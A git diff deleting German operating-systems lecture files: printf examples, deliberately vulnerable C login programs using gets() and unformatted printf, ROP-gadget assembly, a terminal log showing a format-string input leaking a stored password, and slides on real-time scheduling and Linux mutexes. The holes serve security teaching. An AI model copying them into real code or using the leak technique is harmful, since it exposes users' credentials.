42); - return 0; -} diff --git a/20220523/printf-03.c b/20220523/printf-03.c deleted file mode 100644 index 7bf16e085e0b90e911579d1257c00efbfa50f6ea..0000000000000000000000000000000000000000 --- a/20220523/printf-03.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Der Name lautet: %s\n", "Peter"); - return 0; -} diff --git a/20220523/printf-04.c b/20220523/printf-04.c deleted file mode 100644 index 204f0dc1b47fdca112fd96a3047312c2cee6994f..0000000000000000000000000000000000000000 --- a/20220523/printf-04.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Der Name lautet: %s\n", "Pet%dr"); - return 0; -} diff --git a/20220523/printf-05.c b/20220523/printf-05.c deleted file mode 100644 index 4bdc410d48531d2691b3dc6dabdf0ecb84389b8f..0000000000000000000000000000000000000000 --- a/20220523/printf-05.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Der Name lautet: Pet%dr\n"); - return 0; -} diff --git a/20220523/server-0.c b/20220523/server-0.c deleted file mode 100644 index 96f8b4df4c5a467aa5d2ec424434a6a33a6f6127..0000000000000000000000000000000000000000 --- a/20220523/server-0.c +++ /dev/null @@ -1,24 +0,0 @@ -#include <stdio.h> -#include <string.h> -#include <unistd.h> - -int main (void) -{ - char name_buffer[100]; - char *pass_buffer; - char username[] = "peter"; - char password[] = "Hi!ph1sch"; - - printf ("Your name, please: "); - gets (name_buffer); - printf ("Hello, "); - printf (name_buffer); - printf ("!\n"); - - pass_buffer = getpass ("Your password, please: "); - if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0) - printf ("You have access.\n"); - else - printf ("Login incorrect.\n"); - return 0; -} diff --git a/20220523/server-0.txt b/20220523/server-0.txt deleted file mode 100644 index 1b18335a3b95152650dad9f3cd6625fbac6e4bdd..0000000000000000000000000000000000000000 --- a/20220523/server-0.txt +++ /dev/null @@ -1,53 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Der Name lautet: Pet%dr\n"); - return 0; -} -cassini/home/peter/bo/2022ss/bs/20220523> gcc -Wall -O printf-05.c -o printf-05 -printf-05.c: In function ‘main’: -printf-05.c:5:33: warning: format ‘%d’ expects a matching ‘int’ argument [-Wformat=] - printf ("Der Name lautet: Pet%dr\n"); - ~^ -cassini/home/peter/bo/2022ss/bs/20220523> ./printf-05 -Der Name lautet: Pet668572360r -cassini/home/peter/bo/2022ss/bs/20220523> cat server-0.c -#include <stdio.h> -#include <string.h> -#include <unistd.h> - -int main (void) -{ - char name_buffer[100]; - char *pass_buffer; - char username[] = "peter"; - char password[] = "Hi!ph1sch"; - - printf ("Your name, please: "); - gets (name_buffer); - printf ("Hello, "); - printf (name_buffer); - printf ("!\n"); - - pass_buffer = getpass ("Your password, please: "); - if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0) - printf ("You have access.\n"); - else - printf ("Login incorrect.\n"); - return 0; -} -cassini/home/peter/bo/2022ss/bs/20220523> ./server-0 -Your name, please: Pet%dr -Hello, Pet1819043144r! -Your password, please: -Login incorrect. -cassini/home/peter/bo/2022ss/bs/20220523> ./server-0 -Your name, please: %016llx %016llx %016llx %016llx %016llx %016llx %016llx %016llx -Hello, 000000006c6c6548 00007fdc518588c0 0000000000000000 00007fdc5185d500 - 0000000000000000 6373316870216948 0072657465700068 20786c6c36313025! -Your password, please: - -000000006c6c6548 = "Hell" -6373316870216948 = "Hi!ph1sc" -0072657465700068 = "h" diff --git a/20220523/server-0a.c b/20220523/server-0a.c deleted file mode 100644 index 6c6f22f5d9ae1c0b03dcd5d6d0ba8805d9dc3a64..0000000000000000000000000000000000000000 --- a/20220523/server-0a.c +++ /dev/null @@ -1,22 +0,0 @@ -#include <stdio.h> -#include <string.h> -#include <unistd.h> - -int main (void) -{ - char name_buffer[100]; - char *pass_buffer; - char username[] = "peter"; - char password[] = "Hi!ph1sch"; - - printf ("Your name, please: "); - gets (name_buffer); - printf ("Hello, %s!\n", name_buffer); - - pass_buffer = getpass ("Your password, please: "); - if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0) - printf ("You have access.\n"); - else - printf ("Login incorrect.\n"); - return 0; -} diff --git a/20220523/server-1.c b/20220523/server-1.c deleted file mode 100644 index 68f9eb57f5e277413a0206ed9af175033e9cda9d..0000000000000000000000000000000000000000 --- a/20220523/server-1.c +++ /dev/null @@ -1,10 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char buffer[20]; - printf ("Your name, please: "); - gets (buffer); - printf ("Hello, %s!\n", buffer); - return 0; -} diff --git a/20220523/server-2.c b/20220523/server-2.c deleted file mode 100644 index 4aac725ae5c30412f0952a770d1c9d9f6c1f6895..0000000000000000000000000000000000000000 --- a/20220523/server-2.c +++ /dev/null @@ -1,33 +0,0 @@ -#include <stdio.h> -#include <stdlib.h> - -void stuff (void) -{ - asm ("mov $0, %eax"); - asm ("add $0x28, %rsp"); - asm ("ret"); - asm ("nop"); - asm ("nop"); - asm ("nop"); - asm ("mov %rsp, %rdi"); - asm ("ret"); - asm ("nop"); - asm ("nop"); - asm ("nop"); - asm ("add $0x20, %rdi"); - asm ("ret"); - asm ("nop"); - asm ("nop"); - asm ("nop"); - system ("clear"); - exit (0); -} - -int main (void) -{ - char buffer[20]; - printf ("Your name, please: "); - gets (buffer); - printf ("Hello, %s!\n", buffer); - return 0; -} diff --git a/20220523/server-3.c b/20220523/server-3.c deleted file mode 100644 index 11c3a7ff2bf4e1f27accebd7d9caddf6d90dfb66..0000000000000000000000000000000000000000 --- a/20220523/server-3.c +++ /dev/null @@ -1,33 +0,0 @@ -#include <stdio.h> -#include <stdlib.h> - -void stuff (void) -{ - asm ("mov $0, %eax"); - asm ("add $0x28, %rsp"); - asm ("ret"); - asm ("nop"); - asm ("nop"); - asm ("nop"); - asm ("mov %rsp, %rdi"); - asm ("ret"); - asm ("nop"); - asm ("nop"); - asm ("nop"); - asm ("add $0x20, %rdi"); - asm ("ret"); - asm ("nop"); - asm ("nop"); - asm ("nop"); - system ("clear"); - exit (0); -} - -int main (void) -{ - char buffer[20]; - printf ("Your name, please: "); - fgets (buffer, 20, stdin); - printf ("Hello, %s!\n", buffer); - return 0; -} diff --git a/20220530/bs-20220530-fig1.tex b/20220530/bs-20220530-fig1.tex deleted file mode 100644 index 0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0..0000000000000000000000000000000000000000 --- a/20220530/bs-20220530-fig1.tex +++ /dev/null @@ -1,11 +0,0 @@ -\documentclass{article} -\input tmp.inputs -\pagestyle{empty} -\begin{document} - \begin{pspicture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} - \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) - \end{pspicture} - -\end{document} diff --git a/20220530/bs-20220530-fig2.tex b/20220530/bs-20220530-fig2.tex deleted file mode 100644 index 0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0..0000000000000000000000000000000000000000 --- a/20220530/bs-20220530-fig2.tex +++ /dev/null @@ -1,11 +0,0 @@ -\documentclass{article} -\input tmp.inputs -\pagestyle{empty} -\begin{document} - \begin{pspicture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} - \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) - \end{pspicture} - -\end{document} diff --git a/20220530/bs-20220530.pdf b/20220530/bs-20220530.pdf deleted file mode 100644 index 34b9da39cba00048dbfacf76cec5c0facfe97c4e..0000000000000000000000000000000000000000 Binary files a/20220530/bs-20220530.pdf and /dev/null differ diff --git a/20220530/bs-20220530.tex b/20220530/bs-20220530.tex deleted file mode 100644 index 1dd711a4904781304ff3d1fd5aee4f50fc213217..0000000000000000000000000000000000000000 --- a/20220530/bs-20220530.tex +++ /dev/null @@ -1,1506 +0,0 @@ -% bs-20220530.pdf - Lecture Slides on Operating Systems -% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{rotating} -\usepackage{pdftricks} -\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx} -\usepackage{eurosym} -\usepackage{tikz} - -\begin{psinputs} - \usepackage[latin1]{inputenc} - \usepackage[german]{babel} - \usepackage[T1]{fontenc} - \usepackage{helvet} - \renewcommand*\familydefault{\sfdefault} - \usepackage{pstricks} - \psset{unit=1cm} -\end{psinputs} - -\title{Treiberentwicklung,\\[\medskipamount]Echtzeit- und Betriebssysteme} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{30.\ Mai 2022} - -\begin{document} - -\newlength{\normalpdfpageheight} -\setlength{\normalpdfpageheight}{\pdfpageheight} - -\maketitleframe - -\setcounter{section}{3} -\section{Echtzeit} -\subsection{Was ist Echtzeit?} - -\begin{frame} - - \showsection - \vspace{-\smallskipamount} - \showsubsection - - \begin{itemize} - \item - Animation in Echtzeit:\\ - schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung - \item - Fantasy-Rollenspiel in Echtzeit:\\ - Der Zeitverlauf der Spielwelt entspricht dem der realen Welt. - \item - Datenverarbeitung in Echtzeit:\\ - Die Daten werden so schnell verarbeitet, wie sie anfallen. - \item - speziell: Echtzeit-Steuerung von Maschinen:\\ - Die Berechnung kann mit den physikalischen Vorgängen schritthalten. - \smallskip - \arrowitem - "`Schnell genug."' - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - "`Schnell genug."' -- "`Und wenn nicht?"' - - \begin{itemize} - \item - "`Ganz schlecht."' \textarrow\ \newterm{harte Echtzeit}\\[2pt] - rechtzeitiges Ergebnis funktionsentscheidend - - \smallskip - - \item - "`Unschön."' \textarrow\ \newterm{weiche Echtzeit}\\[2pt] - verspätetes Ergebnis qualitätsmindernd - \begin{itemize} - \baselineskip14pt\par - \item - verwenden und Verzögerung in Kauf nehmen - \item - verwerfen und Ausfall in Kauf nehmen - \end{itemize} - - \smallskip - - \item - "`Es gibt keinen festen Termin. Möglichst schnell halt."'\\[2pt] - \textarrow\ \newterm{keine Echtzeit} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Das Problem: - \vspace{-\bigskipamount} - \begin{center} -% \begin{picture}(6,2) -% \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} -% \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} -% \put(2.75,0.875){\vector(1,3){0.25}} -% \put(2.75,0.875){\line(2,1){0.5}} -% \put(3.25,1.125){\vector(-1,-3){0.25}} -% \end{picture} - \begin{pdfpic} - \begin{pspicture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} - \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) - \end{pspicture} - \end{pdfpic} - \end{center} - - Beispiel: - \begin{itemize} - \item - Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\ - dessen Berechnung maximal \SI{10}{\mics} dauert. - \item - Entweder: Der Steuer-Computer macht noch andere Dinge.\\ - \textarrow\ Risiko der Zeitüberschreitung - \item - Oder: Der Steuer-Computer macht nichts anderes.\\ - \textarrow\ Verschwendung von Rechenzeit\\ - {\color{red}\textarrow\ Na und?} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Das Problem: - \vspace{-\bigskipamount} - \begin{center} - \begin{pdfpic} - \begin{pspicture}(6,2) - \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} - \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} - \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) - \end{pspicture} - \end{pdfpic} - \end{center} - - \medskip - - {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}} - - \medskip - - Große Stückzahlen - \begin{itemize} - \item - 138\,000 Toyota Prius V von Mai 2011 bis April 2012 - \item - Software viel im Einsatz: Server, Rechenzentrum - \end{itemize} - - \medskip - - Wertvolle Ressourcen - \begin{itemize} - \item - Fähigkeiten einer Raumsonde optimieren - % (Marsumlaufbahn: ab ca.~127\,000 Euro pro kg) - % 70000000 / 550000 = 127._27 - % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/ - % \only<.(1)>{\\[\bigskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.5cm]{curiosity.jpg}}\vspace*{-1cm}} - \item - Implantat: Platz- und Stromverbrauch minimieren - % \only<.(1)>{\\[\smallskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}\vspace*{-1cm}} - \end{itemize} - - \bigskip - - \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt] - \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden - -\end{frame} - -\subsection{Multitasking} - -\begin{frame} - - \showsection - \showsubsection - - \begin{minipage}[t]{6cm} - Qualitätssicherung beim Multitasking - \begin{itemize} - \item - Verschiedene Anforderungen: - \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\ - vs.\ \newterm{Durchsatz} - \item - Ressourcen reservieren:\\ - \newterm{Mutexe} - (= spezielle \newterm{Semaphore\/})\\ - \strut - \item - Verschiedene Methoden\\ - der Priorisierung\\ - \strut - \item - Umgehung der Probleme durch - speziell geschriebene Software\\ - (MultiWii, RP6, \dots) - \end{itemize} - \end{minipage} - \hfill - \begin{minipage}[t]{6.2cm} - Qualitätssicherung für Netzwerke: - \begin{itemize} - \item - Verschiedene Anforderungen: - \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz} - \item - Ressourcen reservieren:\\ - \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)} - \item - Klassifizierung und Priorisierung: - \newterm{DiffServ} mit Type-of-Service-Bits (IPv4) - bzw.\ Traffic-Class-Bits (IPv6) im IP-Header - \item - Eigenes Protokoll (Telefondienste):\\ - \newterm{Asynchronous Transfer Mode (ATM)} - \end{itemize} - \end{minipage} - -\end{frame} - -% Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren - -% evtl. Aufgabe: Warte-Problem - -% Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme -% das o.a. Zuteilungsproblem? - -% Danach: Semaphoren, Mutexe, Spinlocks -% Priorisierungsmethoden und -probleme - -\subsectionnonumber{Beispiele für Multitasking} - -\begin{frame} - - \showsubsectionnonumber - - Quadrocopter-Steuerung \emph{MultiWii} - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\ - ansonsten zyklisch einer von bis zu 5 weiteren Tasks. - \end{itemize} - - RP6-Steuerung - - \begin{itemize} - \item - \dots - \end{itemize} - -% \begin{itemize} -% \item -% Konfiguration durch bedingte Compilierung (Präprozessor) -% \item -% Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\ -% Die Interrupt-Handler zählen Variable hoch. -% \item -% 10000mal pro Sekunde: Timer-Interrupt\\ -% verschiedene Tasks werden unterschiedlich häufig aufgerufen -% \item -% Nebenbei: 1 Benutzerprogramm -% \end{itemize} -% -% Linux 0.01 -% \begin{itemize} -% \item -% Timer-Interrupt:\only<1->{ Zähler des aktuellen Tasks wird dekrementiert;}\\ -% Task mit höchstem Zähler bekommt Rechenzeit. -% \item -% Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\ -% bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen. -% \item<1-> -% \emph{keine\/} harte Echtzeit -% % Aufgabe: Wo wird der Zähler heruntergezählt? -% \end{itemize} - -\end{frame} - -\iffalse - -\subsectionnonumber{Zombies} - -\begin{frame} - - \showsubsectionnonumber - - \pause - Wikipedia: - \begin{quote} - Als Zombie wird die fiktive Figur eines zum Leben erweckten - Toten (Untoter) oder eines seiner Seele beraubten, willenlosen - Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe - aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet - dort ursprünglich einen Totengeist. - \end{quote} - - \bigskip - - \pause - Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\ - bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\ - hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\ - wird aber noch in der Prozeßliste geführt ("`untot"'). - \begin{itemize} - \pause - \item - Warum? - \textarrow\ - Ein anderer Prozeß (Elternprozeß) wartet noch auf den - Rückgabewert des beendeten Prozesses. - \pause - \item - Schadet das? - \textarrow\ - Nein. - \pause - \item - Aber? - \textarrow\ - Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen - Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'. - \pause - \item - Beispiel: - Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\ - \textarrow\ - Tochterprozesse werden zu Zombies. - \end{itemize} - -\end{frame} - -\subsection{Ressourcen} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren - \begin{itemize} - \item - \newterm{Semaphor}\\ - gemeinsame Variable mehrerer Prozesse\\ - zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] - Ressource belegt \textarrow\ Kontextwechsel - \begin{onlyenv}<1> - \par\medskip - griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\ - "`Eisenbahnsignal"' - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Mutex}\\ - Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ - auf eine Ressource zugreifen kann - \begin{onlyenv}<2> - \par\medskip - englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\ - spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\ - % allgemein: auch jemand anderer dürfte freigeben - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Spinlock} (\emph{busy waiting\/})\\ - leichtgewichtige Alternative zu Kontextwechsel - \begin{onlyenv}<3> - \par\medskip - englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\ - \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount] - Hardware-Unterstützung: - Prüfen, ob Variable bestimmten Wert hat;\\ - wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Kritischer Abschnitt -- critical section}\\ - Programmabschnitt zwischen Reservierung\\ - und Freigabe einer Ressource\\ - \textarrow\ sollte immer so kurz wie möglich sein - \vspace*{-1cm} - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren: Beispiele - \begin{itemize} - \item - \newterm{Semaphor}\\ - \file{linux-3.7-rc1/kernel/semaphor.c}\\ - \file{linux-3.7-rc1/drivers/usb/core/file.c} - \medskip - \item - \newterm{Mutex}\\ - \file{linux-3.7-rc1/kernel/mutex.c}\\ - \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c} - \medskip - \item - \newterm{Spinlock}\\ - \file{linux-3.7-rc1/kernel/spinlock.c}\\ - \file{linux-3.7-rc1/kernel/semaphor.c}, - \file{linux-3.7-rc1/kernel/mutex.c} - \end{itemize} - - % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren - - % evtl. Aufgabe: Warte-Problem - - % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme - % das o.a. Zuteilungsproblem? - - % Danach: Semaphoren, Mutexe, Spinlocks - % Priorisierungsmethoden und -probleme - - % Festplatten: completely fair queueing - % cat /sys/block/sdc/queue/scheduler - % "noop" hat sich für SVG gelohnt - - % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos - -\end{frame} - -\begin{frame}[fragile] - - \textbf{Beispiel:} - \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren - - Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 - - \medskip - - \begin{lstlisting} - struct usb_serial *usb_serial_get_by_index (unsigned index) - { - struct usb_serial *serial; - mutex_lock (&table_lock); - serial = serial_table[index]; - if (serial) - { - mutex_lock (&serial->disc_mutex); - if (serial->disconnected) - { - mutex_unlock (&serial->disc_mutex); - serial = NULL; - } - else - kref_get (&serial->kref); - } - mutex_unlock (&table_lock); - return serial; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(5.1,6.85){\vector(-1,0){0.5}} - \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}} - \put(5.4,1.35){\vector(-1,0){0.5}} - \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{48cm} - -\begin{frame}[fragile] - - \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten - - Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 - - \medskip - - \begin{lstlisting} - void __sched mutex_lock (struct mutex *lock) - { - might_sleep (); - __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath); - mutex_set_owner (lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.6,1.35){\line(-1,0){1}} - \put(11.6,1.35){\line(0,-1){2.45}} - \put(11.6,-1.10){\vector(-1,0){2.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24 - - Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert) - - \medskip - - Assembler: - \begin{lstlisting}[language={[x86masm]Assembler}] - lock dec (lock->count) - jns 1 - call __mutex_lock_slowpath - 1: - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9,0.95){\line(-1,0){3.5}} - \put(9,0.95){\line(0,-1){2.5}} - \put(9.0,-1.55){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398 - - \medskip - - \begin{lstlisting} - static __used noinline void __sched - __mutex_lock_slowpath (atomic_t *lock_count) - { - struct mutex *lock = container_of (lock_count, struct mutex, count); - __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0, - NULL, _RET_IP_); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.0,1.40){\line(-1,0){1.0}} - \put(11.0,1.40){\vector(0,-1){2.5}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132 - - \medskip - - \begin{lstlisting} - static inline int __sched - __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass, - struct lockdep_map *nest_lock, unsigned long ip) - { - struct task_struct *task = current; - struct mutex_waiter waiter; - unsigned long flags; - - preempt_disable (); - mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip); - - /* ... */ - - spin_lock_mutex (&lock->wait_lock, flags); - - debug_mutex_lock_common (lock, &waiter); - debug_mutex_add_waiter (lock, &waiter, task_thread_info (task)); - - /* add waiting tasks to the end of the waitqueue (FIFO): */ - list_add_tail (&waiter.list, &lock->wait_list); - waiter.task = task; - - if (atomic_xchg (&lock->count, -1) == 1) - goto done; - - lock_contended (&lock->dep_map, ip); - - for (;;) - { - /* - * Lets try to take the lock again - this is needed even if - * we get here for the first time (shortly after failing to - * acquire the lock), to make sure that we get a wakeup once - * it's unlocked. Later on, if we sleep, this is the - * operation that gives us the lock. We xchg it to -1, so - * that when we release the lock, we properly wake up the - * other waiters: - */ - if (atomic_xchg (&lock->count, -1) == 1) - break; - - /* - * got a signal? (This code gets eliminated in the - * TASK_UNINTERRUPTIBLE case.) - */ - if (unlikely (signal_pending_state (state, task))) - { - mutex_remove_waiter (lock, &waiter, task_thread_info (task)); - mutex_release (&lock->dep_map, 1, ip); - spin_unlock_mutex (&lock->wait_lock, flags); - - debug_mutex_free_waiter (&waiter); - preempt_enable (); - return -EINTR; - } - __set_task_state (task, state); - - /* didn't get the lock, go to sleep: */ - spin_unlock_mutex (&lock->wait_lock, flags); - schedule_preempt_disabled (); - spin_lock_mutex (&lock->wait_lock, flags); - } - - done: - lock_acquired (&lock->dep_map, ip); - /* got the lock - rejoice! */ - mutex_remove_waiter (lock, &waiter, current_thread_info ()); - mutex_set_owner (lock); - - /* set it to 0 if there are no waiters left: */ - if (likely (list_empty (&lock->wait_list))) - atomic_set (&lock->count, 0); - - spin_unlock_mutex (&lock->wait_lock, flags); - - debug_mutex_free_waiter (&waiter); - preempt_enable (); - - return 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(7.9,28.3){\vector(-1,0){0.5}} - \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}} - \put(7.4,2.3){\vector(-1,1){0.4}} - \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{50.5cm} - -\begin{frame}[fragile] - - \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting} - - Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12 - - \medskip - - \begin{lstlisting} - #define spin_lock_mutex(lock, flags) \ - do \ - { \ - spin_lock (lock); \ - (void) (flags); \ - } \ - while (0) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(8.5,1.75){\line(-1,0){4.5}} - \put(8.5,1.75){\line(0,-1){2.9}} - \put(8.5,-1.15){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283 - - \medskip - - \begin{lstlisting} - static inline void spin_lock (spinlock_t *lock) - { - raw_spin_lock (&lock->rlock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.3,0.95){\line(-1,0){4.0}} - \put(9.3,0.95){\line(0,-1){2.1}} - \put(9.3,-1.15){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170 - - \medskip - - \begin{lstlisting} - #define raw_spin_lock(lock) _raw_spin_lock (lock) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.0,0.55){\line(-1,0){0.5}} - \put(10.0,0.55){\line(0,-1){1.7}} - \put(10.0,-1.15){\vector(-1,0){1.3}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47 - - \medskip - - \begin{lstlisting} - #define _raw_spin_lock(lock) __raw_spin_lock (lock) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.7,0.55){\line(-1,0){0.5}} - \put(10.7,0.55){\line(0,-1){1.75}} - \put(10.7,-1.2){\vector(-1,0){2.3}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert): - - \medskip - - \begin{lstlisting} - void __lockfunc __raw_spin_lock (spinlock_t *lock) - { - for (;;) - { - preempt_disable (); - if (likely (do_raw_spin_trylock (lock))) - break; - preempt_enable (); - - if (!(lock)->break_lock) - (lock)->break_lock = 1; - while (!raw_spin_can_lock (lock) && (lock)->break_lock) - arch_spin_relax (&lock->raw_lock); - } - (lock)->break_lock = 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.7,4.75){\line(-1,0){3.5}} - \put(10.7,4.75){\line(0,-1){5.95}} - \put(10.7,-1.2){\vector(-1,0){1.1}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150: - - \medskip - - \begin{lstlisting} - static inline int do_raw_spin_trylock (raw_spinlock_t *lock) - { - return arch_spin_trylock (&(lock)->raw_lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.5,0.95){\line(-1,0){3.5}} - \put(11.5,0.95){\line(0,-1){2.1}} - \put(11.5,-1.15){\vector(-1,0){0.7}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116: - - \medskip - - \begin{lstlisting} - static __always_inline int arch_spin_trylock (arch_spinlock_t *lock) - { - return __ticket_spin_trylock (lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.5,0.95){\line(-1,0){3.5}} - \put(9.5,0.95){\vector(0,-1){1.7}} - \end{picture} - - \bigskip - - Datei 